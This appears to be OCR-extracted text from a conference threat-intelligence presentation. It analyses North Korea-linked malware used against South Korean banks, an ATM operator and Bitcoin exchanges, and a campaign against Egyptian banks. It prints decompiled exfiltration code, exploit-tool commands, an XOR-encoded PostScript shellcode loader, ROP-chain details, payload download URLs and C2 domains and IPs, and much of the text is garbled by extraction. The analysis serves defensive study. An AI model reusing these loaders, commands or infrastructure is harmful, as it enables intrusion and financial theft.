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e Co-author of Threat Intelligence Report “Campaign Rifle :
Andariel, The Maiden of Anguish”

e Graduate student pursuing a major in cyber warfare at
SANE (Security Analysis aNd Evaluation) Lab. (Supervisor:
Prof. Seungjoo Kim), Korea University.

e Served Korean Navy CERT for over 2 years
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ANOTHER ATTACK TARGETING FINANCIAL INSTITUTES
FROM UNKNOWN GROUP
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BACKGROUND

* Our observation shows that some nation-state actors are shifting their focus
to join the battle field of moneymule in the past few years.

Nation-state Attacker Cybercrime moneymule

Data Money
~ =Tm 7~ ~ o 7~
|

?




BACKGROUND - who are they?

Targeted
Industry

Purpose

Historica
| major
incidents

Related
Reports

Lazarus

Domestic government, finance,
broadcasting

Social chaos

e 2009 7.7 DDoS attack on US and
South Korea

e 2011 DDoS attack in South Korea
e 2013 320 DarkSeoul

e 2014 Sony Picture Entertainment
breach

2016 Operation Blockbuster -
Novetta

Bluenoroff

Global and domestic financial

institutes

Financial profit motivation

e 2015-2016 SWIFT banking

attack

e 2017 Polish financial
supervisory authority

e 2017 South Korea Bitcoin
companies

2017 Lazarus under the hood -

Kaspersky

Andariel

Domestic financial institutes,
IT companies and large
corporations. Defense
industry

Information gathering

2015 Attack Defense
industry

e 2016 Attack on cyber
command center

e 2017 South Korea ATM
breach

2017 Campaign Rifle — South
Korea Financial Security
Institute



BACKGROUND - Activity Timeline 2017/10

- Taiwan Far Eastern

International Bank
2017/07 Heist

2016/02
2017/03 - South Korea Korbit

- South Korea ATM Bitcoin Exchange
Hacked

- Bangladesh Bank Heist
- South Korea
Conglomerates Hacked

company hacked

2017/02 2017/09

- Watering hole on Polish - South Korea Largest

Financial Supervision 2017/05

Travel Agency
Hanatour Hacked

Authority website to
target 100+ banks in
Europe

- WannaCry Ransomware attack
- South Korea Labour Unions
Websites Hacked

2016/08

- South Korea Bithumb Bitcoin
Exchange Hacked

- South Korea Ministry of
National Defense Hacked




I
THE MALWARES AND ATTACK CASES

from Lazarus, Bluenoroff and Andariel
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* KOREA MAJOR BANK ATTACK BY BLUENOROFF CASES



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Background

* Time:
* |n March, 2017

* Target :
* One of Top 5 Banks in South Korea
* Employees of the bank (in charge of SWIFT system)

* Vulnerability:
* File sharing function in VDI program (it was a 0 day during that time)

* Damage:
* No severe damage due to the rapid detection
e 2 PCsinfected



KOREA MAIJOR BANK ATTACK BY BLUENOROFF - Malware

* The vulnerability — The Named Pipe file sharing feature in VDI

Host Guest

Named pipe client

Named pipe Server TCP Client
(Virtual PC Host (Virtual Machine
Process) B Guest Service)

Your application

_ Windows Virtual PC Components

<Architectural overview of Host-Guest Communication Channel with named pipe >
https://blogs.technet.microsoft.com/windows_vpc/2009/10/13/using-a-host-guest-communication-channel-in-windows-virtual-pc/



KOREA MAJOR BANK ATTACK BY BLUENOROFF — Attack Vector

Network Environment

E s = va—
. Spear-phishing

Emails attacker

Employee’s PC Employee’s PC
for internal network use only ~ For accessing the internet
Computer Name Start with “pb” (Virtual Machine) p— s
Critical Data g
stolen C2 server
. V'f“f‘ A Vlan B
(with critical data) (Connect to WAN)

(not connect to WAN)



KOREA MAIJOR BANK ATTACK BY BLUENOROFF - Malware

* Evidence in the malware

" vz % 26 + 97, u1);

VDI Software manufacturer insisted that
File Sharing functionality via NamedPipe was disabled.

However,
it was just hidden.

So
Attackers were able to use this functionality.




KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* Malwares
* Family:
* Manuscrypt (file name: corems.dll, amanuv.dll)

* Features :

1. Searching in the internal network for some specific hosts related to SWIFT network.
2. Activate NamedPipe of specific process (vmsal.exe)
» vmsal.exe : management process of virtual machine’s segregation program

» Stealing data from internal segregated network by using hidden NamedPipe file sharing
feature

3. Look for desired data and send them to C&C Server



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Malwares (corems.dll, amanuv.dll)

(0)
, D) && GetlLastError() != 0x217 )

return ©;
}
while (1 )
{
'.lr_.l'l () - E])(835 ;
f VL

i
{

result = 1)
goto LABcL 5,
}

NamedPipe Set -> Connect -> Read -> Write



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Malwares (corems.dll, amanuv.dll)

NamedPipe = '\\.\\\\';
Vil = 'epip';

v2 = (char *)&Mode + 3;
do
( ++)[1]
wh11e w3 )3
i | DWORD *}\ = *(_DWORD *)"lsaopt";
*(( WORD *)v2 + 2) = *(_WORD *)"pt";
v2[6] = [26];
= (int)vl;
i *) (&NamedPipe, @xCOO00000, O, O, 3, 0, 0); Get Namedpipe Handle
(v01d *)-1)
while ( GetlLastError() == OxE7 &% (&NamedPipe, @x493EQ) ) Mode Meaning
(void *) (&NamedPipe, OxCOOOOEGO, O, 0, 3, 8, 0);
andle; Data is read from the pipe as a stream of bytes.~
(de *)-1 ) PIPE_READMODE_BYTE specified.

goto LABEL_10; 0x00000000
}

return 0;

]
ABEL_10:

s — Set NamedPipe Handle

if ( !SetNamedPipeHandleState(NamedPipeHandle,

return 8 State with Mode 0x0




KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Malwares (corems.dll, amanuv.dll)

P = { tFilename, &v48);

(&String. (const char *)}&

& Bxld )
A{(LPSTRJMARKER_ v2, ":FZ:"); Search specific files and write the result
R vl with following the special structure
*(_DWORD *) + 4) =
o ,_ .



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Malwares (corems.dll, amanuv.dll)

0 4 8 12
Flag Unknown Integer Unknown Integer
12 16 20 24
File time Length of Filename Filename
Flag EOF (End of File) Flag
If (IsDirectory) : If (EOF) :
flag = “:GY” eof_flag = “;**;”
Else:

flag= “:FZ.”



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Malwares (corems.dll, amanuv.dll)

C&C Configuration

aSoftwareMicros db 'SOFTWARE\Microsoft\Pniums',®

T P

g
=
i

DataPath
ot OIO1EC D
aos58 31 00 30 00 30 00 2E 00 1.0.0...

m

0078 E3 03 31 003000 34 00 gﬁi;ﬁﬁiﬁ e C&C IPs hidden inside Registry Value
I |

oo9o 2E 00 35 00 29 00 00 00 9
oo9s 00 00 BB 01 32 00 31 00 . o.e. 2.
ooAko 32 00 2E 00 21 00 34 00 1

Q0a8 33 00 ARCHI N osEatge
OOE0  ZE 00 oo oo oo .. . N

o= | | B




KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Data send to C2 server
Encoded String

signed int sub_862AA0()
{
"(xuweckrxw: teey-aurme’);

"Cxwkenk-Uewgkh: ");
Cache-Cxwkixu: vao-age=8");

tLPyk s

xukeuk-Kpye: viukryaik/fxiv-daka; bxlwdaip=");
"Acceyk-Encxdrwg: gzry,defuake, jdch');
(Lt‘y anf aa‘o ty ‘”u),

I

n

xwkewk-Driyxjrkrxw: fxiv-daka, wave=\"bxaid_rd\"");

xwkewk-Driyxjrkrow: fxiv-daka; wave=\"ljei rd\"");

"Cxwkewk-Dr nyrk‘“ + fxiv-daka; wave=\"fruel\": fruewave=\" r»“O
crxw: fxiv-daka; wave=\"fruel\"; fruewave=\
Ajrk1<w, fxiv-daka; wave=\ flup1\“; fruewave=\ y akILP ydr‘”")j
xjrkrxw: fxiv-daka; wave=\"fruel\"; fruewave=\" trwﬁ va"”)'

xwkewk-Dr Vt]FkFKWZ fxiv-daka: wave=\"fruel\": fruenave=\"die
jrk

]

]

¥X]
"Cxukewk-Driy
y

n

(wkewk-Driyx
xukewk-Dr

j
j
])
]
"Cxwkewk-Drj)
]
])
1)

A
"C
A
A
g o
C
(
"Cxwkewk-Dr
C
(
(
Cx
g
o
(

]

xukewk-Kpye: ayyurcakrxw/xckek-jkieav");

XW: fxiv-daka; wave=\"fruel\" ffucwave""hyr amr~"”)'
yX lerw: fxiv-daka; wave= ”rruel~“j ruewave=\"jkai.ar
xwkewk-Driyxjrkrxw: fxiv-daka; wave=\"fruel\"; fruewave=\"jkai.amr\"");

Decode Function

v3 >= 'r' && v3
goto LABEL_12;
if (v3 < 'I" || v3
{
if (v3 < 'R' || v3

v3 - 9;

}
while ( *v2 );

(al, "%s", &

Decoded String

Accept: */*;

Content-Type: multipart/form-data; boundary=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ko-KR

Content-Disposition: form-data;
name="board_id"

Content-Disposition: form-data;
name="user_id"

Content-Disposition: form-data; name="file1";
filename="img01_29.jpg"
Content-Disposition: form-data; name="file1";
filename="my.doc"

Content-Disposition: form-data; name="file1";
filename="pratice.pdf"

Content-Disposition: form-data; name="file1";
filename="king.jpg"

Content-Disposition: form-data; name="file1";
filename="dream.avi"



CASES

 ATM OPERATOR COMPANY BREACH a.k.a VANXATM



VANXATM - ATM OPERATOR COMPANY BREACH

e Operation started from Feb. 2015 (Actual information leakage in March 2017)
* Target : ATM Operator Company (provide and manage 2000 ATM SK)

e Used vulnerability
* 0 day in antivirus program
* Misconfiguration and management between ATM machines and ATM update server

 Attribution
* Andareil Group

* Damage
* the number of leaked card information (Sept, 2016 ~ Feb, 2017)
=> Total 1.9m (After deduplication 230k)



VANXATM - ATM OPERATOR COMPANY BREACH




VANXATM - ATM OPERATOR COMPANY BREACH

* Process flow of VANXATM

With FTP server |

t ] =
' ,ﬁx Remote File Transfer .
1 &
: Remote command exec
. T = : >
; C&C #1
] .
' : AV Server 2 Ah
N A : Card Information
'/.l‘\-\\ Leakage
------- ‘ - '""'"n _>
\l‘t"{ C&C #2
Attacker nieme . Ca&C #4
: 2 No authentication 2
to update files E
E...) >
Update malware a :
ATM Update Server ) ﬂ @ i _ e .

Unencrypted FTP
Inside ATM company 60+ ATM Infected Account & password
Stored on ATM machine



VANXATM - ATM OPERATOR COMPANY BREACH

C:Wrfs.exe Al lTALALE
. TargetIP TargetPort commandlype argl arg? argl
° EXpIOIt t00| (fs'exe) SendFile calc.exe Astmpscalc.tmp
. . GetFile /tmprcalc.tmp c:tempWicalc.exe
* Scan antivirus Scan
’ 1 Update
Servers service port Rum c:fwindowstnotepad.exe 1.txt systemn{administrator)
* Connect to the Regtort
ServerlUpdate
server
. Cz:W>Fs.axe 192_.168.12.168 18684 zcan
* Send file 192.168.12.168:18684 Connect Success?
. Scan Success?
* Run file .

Czl>fs.exe 192.168.12.168 18684 scan
192.168.12.168:18684 Connect Buccess?
Scan Success?

CzW>Fe . oxwe 192_168B.12_168 18684 SendFile server.exe Sseapruvel.exe
- 192.168.12_.168:18684 Connect Success?
File Sending...<{Total 112231 Byte)
Successt

CzW>fs.exe 192.168.12.168 18685 run c:Wserver.exe dummy system{administrator)
192_168 .12 _168:18685% Connect Success?

Runnig c:Wserver.exe Success




VANXATM - ATM OPERATOR COMPANY BREACH

vl = fopen('c:Wuwindowsiittemptitjavaupdate.exe™, “wb");
Sleep{Bx3E8u);

* VAN_XATM.e ir ¢ o

xe (Dropper
Type A)

&& (furite(&unk_ A4ODEBO, Ox1D8AOBu, 1u, vi),
fclose(uvi),
memset{&Startupinfo.lpReserved, 8, 0x408u),
'vyocessInformation.hProcess = 8,

I

ProcessInformation.hThread = @, Dropplng Java
ProcessInformation.dwProcessid = 8,

Processinformation.dwThreadld = 8,

StartupInfo.cbhb = 68,

.exe (RAT) &

javaupdate.exe (legit ATM program)

sprintf{(&CommandLine, "%s %s", "c:HWwindowswwtempwbjauaupdate.exe"

1 &Fil :_‘ﬂ.__”;:“-_) 2

v = fopen('c:Wiwindowstttemptittjava.exe™, "wb"),
Sleep{Bx64u),
ub ) )

furite{&unk SE68BO, B8x10888u, 1u, vd);
fclose(ud);

Sleep(0x64u);
CreatePrecessnlg. Cecttwindowstitttempitjava exe'} 6, 0, 1, 8, 8, B8, &SI

Sleep(Ox64u);

artupInfo, &ProcessInformat

result = CreateProcessA(B, &CommandLine, @, 8, 1, @, 8, 8, &StartupInfo, &Processinformation);

?

00000040BA04 0 _c\windows\temphiava,exe PDB Path
00000040BABD 0 F-\WorkhcardWan_#ATM\Release\Van_x<ATM.pdb

00000040BF 44, 0 “aeloduler e ames.

inig)



VANXATM - ATM OPERATOR COMPANY BREACH

 msupdate.exe, u.tmp, 1.exe, up.tmp (Data Exfiltration)

MSNBFileHandle_dword_417F94 = CreateMSNB_sub_A4B85FFB();

3 = 8; Search {mmdd}CHVA files

ylh o 0, Bx1FFu);
sprintf{&v3, "%02d%02dCHUA", SystemTime.wMonth, SystemTime.wDay - 1);|

FindCHUAFile sub 486118{&v3);

SloaptOvalui). .
FindJNLFile_sub_u81780();  Search D:\FKMJNL\{yyyymmdd}.jnl |
NG P L e AT A T GO T a TPy

if ( MSNBFileHandle dword 417F94 )

{
if { =(_ DWORD =)MSNBFileHandle_dword_ 417F%4 == 2 )

{
ul = (uoid =)*{{ DWORD =)MSNBFileHandle_ dword 417F94 + 1);
dword_4181E8 = CreateZipArchive_sub_4855E0(={{ DWORD =)HSNBFileHal
if ( vl )
operator delete(uvi);
operator delete(ui);
}

else

{
dword_4181E8 = 0x80000;
¥
b
else
{
dword_4181E8 = 08x10000; Send Files to C2

LY

SendFileToFTP_sub_4816F8(); I

Sreep TRty

return remove("c :¥uindowstittemp¥™~imsnb.tmp*);

Transaction Date
Transaction Time

Account Number
Issuer

Request Amount

Balance

<Journal File>



VANXATM - ATM OPERATOR COMPANY BREACH

 Suspicious files discovered from VANXATM C&C Server

0|8 cek ~ 34 27

0904CHVA.100
0904CHVA.000
0905.100
0905CHVA.100
0905CHVA.000
0906CHVA.000
0S06CHVA.100
0907.100
0907CHVA.100
0907CHVA.000
0908CHVA.100
0908CHVA.000
0909.100
0909CHVA.000
0909CHVA.100
0910CHVA.000
0910CHVA.100
0911.100
0911CHVA.100
0911CHVA.000



CASES

* BITCOIN EXCHANGES HACKED



BITCOIN EXCHANGES HACKING CAMPAIGN

* Trading volume of major Bitcoin Exchanges in South Korea
e ‘C’is the first char of Bitcoin Exchanges that is used for many company names

Incorporation 2014 Jan 2014 Aug 2013 July 2017 Apr
Al Sl Around 150 Around 80 Around 60 Around 20
employee

Number of coin type 10 7 5 12

Transaction Amount
per day(17.11.21. 735 million 84 million 120 million 29 million
USD)



BITCOIN EXCHANGES HACKING CAMPAIGN

* Four Bitcoin Exchanges were attacked

 Attacker impersonates the public institutes for phishing

* Public Prosecutors' Office, National Police Agency, Financial Security Institute, Major
Bank, etc.

* They used nine email accounts for attack

* 4 out of 9 were stolen email accounts, and 5 were confirmed created by the
attacker

* Mobile malware was deployed to bypass SMS authentication.

* Palo Alto - Operation Blockbuster Goes Mobile
* https://researchcenter.paloaltonetworks.com/2017/11/unit42-operation-blockbuster-goes-

mobile/
* McAfee - Lazarus Cybercrime Group Moves to Mobile Platform
* https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-cybercrime-group-moves-to-

mobile/
* Sample Hash: (sha256)
22a279¢5685d7c3e24c04580204a8a932b2909a77a549bdd7bcf7ead285efde9




BITCOIN EXCHANGES HACKING CAMPAIGN

* 25 people received phishing emails attached with malicious HWP files
during the campaign

* In Korea, HWP(Hangul Word Processor) is the most popular word processor as
MS OFFICE

* They used a vulnerability of Ghostscript
* Ghostscript is interpreter for postscript language
e Ghostscript is included in HWP
* removed in a current version by vulnerability issue
* |ts vulnerability could allow the arbitrary code execution
* Ghostscript can create files without vulnerability



BITCOIN EXCHANGES HACKED - Phishing Email Attack Vector

3 e Four bitcoin exchanges
o
I = SMS verification (25 people targeted)

Receive SMS infected mobile phone to infected r ~N
verification \ mobile ‘@'
(

> a
— b4
>
@
—_— —_— several times sent

attacker phishing emails \_
passthru server (07.05. ~ 08.08.)

g J

Create email account

connect email services

]
> <
control C2 server E

C2 server

information gathering




BITCOIN EXCHANGES HACKED — Attack Timeline

[FSI] Financial Security 11.Jul.2017 04.Aug.2017

Check Bcoin wallet
addresses in attached file

Standardization ... !
nondisclosure

10.Jul.2017 07.Aug.2017

[**bank] establishment

22.May.2017.

National Tax Service ...

of a pledge right ...

03.Aug.2017

Sent a transaction log

06.J¢1.2017.

nondisclosure



TARGETING BITCOIN EXCHANGES USERS — Before July, 2017

* A phishing email impersonated the National Tax Service
» Targeted users of Bitcoin Exchanges

Huialeh 2HE fexa s97ge TG
YA 20174 5% 222 @F 4:54

»i= [ == 4= s 2017.5.22. 04:54 PM
v
. Hello,
oHgHAILIT
M3 HEEA SRS This is special tax investigation team at National Tax

| attached a file that you need to prepare for tax

LABILICE ) ..
investigation.
You have to complete preparing until 10 am, 25 May.
Thanks

“ﬁm oa. [Attached a malicious hwp file]

jaJ" HIRZEAEH|MF hwp




BITCOIN EXCHANGES HACKED — Before July, 2017

* Compares with Korean Major Bank Sample

if ( vd1 & B6x18 )
{
*{_ WORD *)(uv4 + v3)
*{ WORD *)(vi18 + ujy)
if ( strcmp(&String, (renst char =)&word 10 *( WORD *)(v3 + vi +
{ *{_ WORD *){(ui + v3 +
if ( vh4B & 6x10 ) 3

IstrcpyA{(LPSTR)MARKER vz, ":FZ2:"): else
else {
LstrcpyA((LPSTR)MARKER vz, ":GY:"): *{ UNRN *){uh + ul) := ":';

*{ DWORD *){MARKER w2 + 4) = x{ DWORD *)& *{_ WORD *)(vu18 + ul)
*(_DWORD =)(MARKER v2 + 8) = x»( DWORD *)& *( WORD *)(u3 + ul +
FileTimeTolLocalFileTime({const FILETIME = *(—UORD *x)(ul + u3 +
v6 = LocalFileTime.dwHighDateTime; . . ¥ —

Major Bank Sample Users of Bitcoin Exchanges Sample



BITCOIN EXCHANGES HACKED — CASE 1: IMPERSONATED as FSI

» After 2 months we found another sample related to Bitcoin Exchanges

* A phishing email impersonated the Financial Security Institute

@ a @ »

K

[28Hole] 28 Hel BES $25A NA HE 38
e Al

e e A I

ohgstM 2.

28RN 68 26LFE 7HI1UNK| st 7t 28HQH
oloj| e ant #83t0x} StAlE 7|2e] &o{ S2{E 9I5t0] X
SRCELCH

HEHE 33 : http://www.dailian.co.kr/news/view/641970
B33H AFER2 QIA|LL 29| gL

ZALEILICE

SEHOMR QXA HEA E2

20178 S8H0ot
HEZFES.2.hwp

é1v
-’EE} X2 95t 2 FAME Fgstn QS
3 O1Z0f| BiZE|QYE "=QFAL 3 Xt

2017.7.5. 09:59 AM

Hello,

We(FSI) are going to survey regarding the financial
security standardization.

| expect your active participation, so | attached a file
related to the survey.

news link : http://....

If you have any questions, please feel free to contact me.

Thanks,
FSI survey manager

[Attached a malicious hwp file(2017 the financial ...)]



CASE 1: IMPERSONATED as FSI — Malicious scripts in HWP file

* We could find ps (postscript) files in BinData of malicious HWP file

* They were compressed by zlib

5-F-) Root Entry
--F7) BinData

[£] BINOOO1.ps

[5] BING0O2.ps

[£] BINOOO3.ps
--£7) BodyText

[Z] Section0
=-f) DocOptions

=] _LinkDoc
=) Scripts

|| Default/Script
[*] Jscriptversion
=] IHwpSummaryInformation
{Z] DocInfo
[*] FileHeader

[] Prvimage
7] PrvText

Folder
Name Size(B) Created
El BINCOO1.ps 1152 1601-01-01 27 09:00...
[=] BINOOO2.ps 112074 1601-01-01 27A 09:00...
[=] BINOOO3.ps 243773 1601-01-01 27 09:00...

Hex | Hex (Decompress)
0000 | b5 S6 4b 6f e3 36 10 3e 3b 40 fe 03 2f 05 ec c3 | .VRo.6.>;@../...
0010 | 26 7c 3f 2e 05 48 89 42 0f 5d a0 68 Of bd e8 e2 | &|?..H.B.].h....
0020 | dB 4a 62 ac 63 b9 b6 bc 9b 22 c8 7f ef 90 14 65| .Jdb.c....".0 e
0030 | d9 c9 26 69 Bb 25 40 88 £f3 fe 38 1lc 0Oe 75 bd 68 15 S - [ - P, © 5 ,
0040 | 37 8b 79 b7 ef 76 ab cd dd 1le fd 84 a6 £3 19 % | 7.¥.-Veeerenunnn
0050 | de cc dO a7 9f 61 09 Sf 74 79 £1 74 79 31 69 1le | ..... a. ty.tyli.
0060 | 17 £7 68 79 d8 a2 75 b3 bS eb ee 11 0a 82 09 45 2y O | R E
0070 | ab cd b2 79 cc cc £9 72 89 92 a7 Se le 0Oc c2 e4d e e e 8
0080 | 88 a2 5d bb Se a3 45 bb f£d bb d7 06 31 47 9f 48 ] =% B e 1G.H
00950 | e2 6f Of dd 6a d3 35 bb af £3 £5 e5 c5 33 ba 01 0..FeS5ccun.n 3.
00a0 | b7 68 dS dc Se Se Sc 2f e7 dd bc £7 49 30 e5 dS he . **\/ ... 0.
Hex ~ {Hex (Decompress)|

0000 | 2f 63 6f 6e 63 61 74 73 74 72 65 6e 67 73 20 25 | /concatstrings %
0010 | 20 28 61 29 20 28 62 29 20 2d 3e 20 28 61 62 29 (a) (k) -> (ab)
0020 | 20 20 0d Oa 7b 0d Oa 09 65 78 63 68 20 64 75 70 ce{...exch dup
0030 | 20 6c 65 6e 67 74 68 20 20 20 20 0d Oa 095 32 20 length 5 =l
0040 | 65 6e 64 65 78 20 6¢c 65 6e 67 74 68 20 61 64 64 | index length add
0050 | 20 73 74 72 69 6e 67 20 20 20 20 0d Oa 09 64 75 string .« odu
0060 | 70 20 64 75 70 20 34 20 32 20 72 6f 6¢c 6¢ 20 63 | p dup 4 2 roll c
0070 | 6£€ 70 79 20 6c 65 6e 67 74 68 0d Oa 095 34 20 2d | opy length...4 -
0080 | 31 20 72 6f 6¢c 6c 20 70 75 74 69 6e 74 65 72 76 | 1 roll putinterv
0090 | 61 6c 0d Oa 7d 20 62 69 6e 64 20 64 65 66 0d Oa | al..} bind def..
00a0 | 2f 64 61 74 61 73 74 72 69 6e 67 20 31 30 32 34 | /datastring 1024




CASE 1: IMPERSONATED as FSI — Files

,@

Attached

>

HWP
maIiCiOuS
document

Embed

led
>

\ﬁ

PS

BINO0O1.ps

B

BINO002.ps

Create/Drop
> @F —_—

HnCCheck.Ink

Create/DrOp
" R —

HncBB80.bin
Trojan Downloader

Execute

PS

BIN0003.ps

Run shellcode
& Decode downloader &
inject into memory




CASE 1: IMPERSONATED as FSI- Postscript

* BINOOO1.ps

* It makes a shortcut at the path below

“%temp%\\..\\..\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HncCheck.Ink”

* HncCheck.Ink has included
“C:\Windows\System32\rundll32.exe %temp%\..\HncBB80.bin,MainCallBack”

* It is a trigger to execute “HncBB80.bin” when victims reboot their PCs
e BINO0O2.ps will drop a binary file HncBB80.bin = trojan downloader

getenv

/pl exch def

‘concatstrings pl

/ def

concatstrings (w) file /ouA exch def




CASE 1: IMPERSONATED as FSI — Files

=

~1  Attached |—
@ = Embedded [/ & Create/Drop> |
¥ S l=
HWP BINO0O1.ps HncCheck.Ink
malicious Execute
document —
T Create/Drop
— >

BINOOO2.ps HncBB80.bin

S
> PS

Run shellcode
& Decode downloader &
BIN0003.ps inject into memory




CASE 1: IMPERSONATED as FSI — Postscript

* BINOOO3.ps

* If victim system has vulnerability in gs32dll.dll, it will be executed
* It has a xor key of 4-byte-length (0x77, Ox5D, Ox11, 0x72)
* Decoded the hex strings using xor key, then we got another postscript with

shellcode
i Jvinzi { token pop exch pop } bind def
2 /yaoshi <775D1172> def
. 3 Jyvima{
POSt Scrlpt B J/funcA exch def
5 0 1 funch length 1 sub {
& JfunchB exch def
T funchA funcB 2 copy get yaoshi funcB < mod get xor put
XOR Encoded 8 } for
9 . <) funca
Post Script with Shellcode 10 } def <0c573201...291b0£58> yima yinzi exec
19 @-‘ﬁkt] DC.1ra=RiDC 1 DC C1
DC 1 paef DC 1 bati=ii kLl b ¥l S UE RSB
_ -r)ﬂ i F L FH =0
Embedded PE 32 bits /& XKso-2Ks0, %btﬂ 'dtﬂ %xaz ké}ﬁ%kﬁﬁﬁbkéﬂa
-m] er .‘- 1 1 ’-j“ " L B S, U = "
-rayrwl{rw"rii b C1 C 1 bl rw] IC'
: 5 C1 rw] rg] r”r(]rrﬁ-'rlt] rw} "r'w
Embedded PE 64 bits rO] rw] rw] r"w] rw] rw] rw] DC1is=RDLErasBIDC 1 ba
rG\w] t'w] r'w] r'w] rw] rw] rY) £




CASE 1: IMPERSONATED as FSI — Postscript vulnerability

* BINOOO3.ps — (similar to CVE 2017-0261)
e gs32dll.dll is a necessary library for handling postscript
* postscript is processed as flow “read -> execute -> close”
* There is a vulnerability in "close" part of the flow
* Loads embedded PE and inject to a system process when shellcode was

executed

100684D2 68 24612710
100684D7 56
100684D8 50

FFD2

PUSH gsd1132.10276124
PUSH ESI
PUSH EAX

EDX

ASCII "s_std_close”

gsd1132.10017082

~—~—

10017082 94
C3

10017083

75582686

. 75582688

Shellcode will get 75582888
. . . |7s58288E

a execution permission | 7ssszga

75582694

75582E9B

8BEC

FF75 14
FF75 10
FF75 0OC
FF75 08

6A FF

ES 09000000
5D

|XCHG EAX,E5P

RETN
\

A E—

MOV EBP,ESP

PUSH DWORD PTR S5:[EBP+14]
PUSH DWORD PTR SS5:[EBP+10]
PUSH DWORD PTR SS:[EBP+C]

PUSH DWORD PTR S5:[EBP+8]

PUSH -1

KERNELBA. VirtualProtectEx
POP EBP

pOTdProt

CALL ROP Chain

ROP Chain start

ect .. NULL

NewProtect .. PAGE_READWRITE |PAGE_EXECUTE|PA

Size ..

Address ..
hProcess ..

0x40
0x00001F94
OxFFFFFFFF



CASE 1: IMPERSONATED as FSI — Agent Dropper

 When HncBB80.bin (downloader) and shellcode were executed
* Infected system information gathering and send them to C2
* Receives data from C2(additional file download & execution)
* But we did not get any additional files from C2
e C2is https://www][.]kbautosys[.]Jcom
e 115[.]92[.]103[.]37

GET https: //www.kbautosys.com/include/form/goods.asp?idx=20 HTIP/1.1
Accept: =*/*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/;5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: www.kKbautosys.com

Connection: Keep-Alive

Find... (press Ctrl+Enter to highlight all)

| HexView | WebView | Auth

Transformer Headers TextView SyntaxView ' ImageView

HTTP/1.1 404 Not Found

Date: Fri, 24 Nov 2017 17:00:37 GMT
Content-Length: 1466

Content-Type: text/html

Server: Microsoft-IIS5/6.0
X-Powered-By: ASP.NET



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER

* Phishing Email Impersonated a National Police Officer

2017.8.4.10:08 AM

o A Hello.
= This is a detective 00O at **** police station.
oAz |2 veza =Ml 106 KB) E]EI=20l A2 s (877 KB) Please check bitcoin addresses from attached

era st o I == I 2L = excel file.

B i ol s I mb S ot iy T e T ATE S If you have any question, feel free to contact me
SARBEISLICE by the following number.

Tel: o2

HP : 010

Thank you.

[Attached a pdf file(Copy of identification card)]
[Attached a malicious xIs file(bitcoin transaction

log)]



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER - Files

Attached> —
ﬁ -—

PDF
scanned ID card (benign decoy)

—1 Macro/Drop

—— p— > EXE

XLS

. . svchost.exe
malicious document

(include another
custom encoded PE
downloader)



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER - It’s not a hwp

* In this case, they used a excel file not a hwp file
* And they attached a pdf file(scanned a identification card)

* Unknown how they got a scanned ID card image

* Tried to increase credibility by scanned ID card



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER

* Malware functionality is same as casel but C2 is not

* Infected system information gathering and send them to C2
Receives data from C2(additional file download & execution)
But we did not get any additional file from C2
C2 is https://www[.Junsunozol[.]org
49[.]239[.]189[.]145

Itibyre rowidenid s H, &}

= WinHttpOpen{&WideCharStr,

chSize = (DWORD)vS;

if { vd )

{

if { WinHttpSetTimeouts{v8, 9006868, 900608, 20000, 268008) )

{
v? = WinHttpConnect{(HINTERNET)cbSize, L"www.unsunozo.orq', 8x1BBu, 8);

dif | U

ug

hinternet = v9;

if ( v9 )
{
viB = WinHttpOpenRequest(v?, L"POST™, v6, B, B, 8, Bx8088006u);
vi9 = v10;
if { vig )
{



Another Attack Targeting Financial Institutes

From unidentifiable nation-state actors

blgc’zk hat



Campaign targeted Egypt bank and SK banks — Background

Operate
O Group
Operate
K Telecom
File

Sample Connection

Target was targeted by attacker in 2017.

O Bank in NK

Decoy

Target

O bank is run by O group, which is based in Egypt and has branch in North Korea
O group also runs K telecom, in charge of telecommunication in NK

Target has connection with O bank in NK and K Telecom and locate in Egypt.

O Group has shut down branch in NK in 2016 because of sanction.

OB shutters North Korean
bank branch

Company owner says OFAC sanctions were behind
the move

Leo Byrne

o @ @ :;3: -;4Share [ Commen: ts

Egyptian telecommunications company Orascom announced on Sunday it will shutter its affiliate bank in
North Korea due to U.S. Treasury Department sanctions, according to a note sent to the Egyptian
Exchange and translated by local media. Orabank set up shop in North Korea shortly after the setting up
of Koryolink, North Korea's wireless telecommunications provider,

Featured Image: Cairo skyline in the morning by StartAgain on 2005-05-22 03:58:39




Campaign targeted Egypt bank and SK banks - Background

* We observed 2 interesting samples from target in May, 2017
* Both are exploits CVE 2017-0199 DOCX documents

* Upon opening the document, it connects to C&C server to download
HTA file containing malicious script

Downloading |E@

Downloading:
http://old.jrchina.com/btob_asiana/udel_cancel.php?fdid=VSM3XkpINmZWXjdjUzg3ZUpGM2dVOCIhPV4/Z 1NCLi4=

| Cancel |




Campaign targeted Egypt bank and SK banks — Delivery Method

DOC

C2 server

Exploit CVE 2017-0199 download HTA Powershell script

Powershell script to download Trojan downloader, loader and script

http://foodforu.heliohost.org/blog/apache.jpg

save as alitmp0131.jpg
(http://old.jrchina.com/btob_asiana/appach01.jpg)

http://foodforu.heliohost.org/blog/apache_backup.jpg

(http://old.jrchina.com/btob_asiana/appach02.jpg)  >2V€3® alitmp0132.jpg

http://foodforu.heliohost.org/blog/apache.ipp

(http://old.jrchina.com/btob_asiana/udel_ok.ipp) save as alitmp0133.js O

<2

IPP



Campaign targeted Egypt bank and SK banks — Powershell Script

html PUBLIC "-//W3C//DTD XHTML 1.@ Transitional//EN" “http://www.w3.org/TR/xhtml1/DTD/xhtmll-transitional.dtd">
xmlns="http://wew.w3.0org/1999/xhtml" >
>
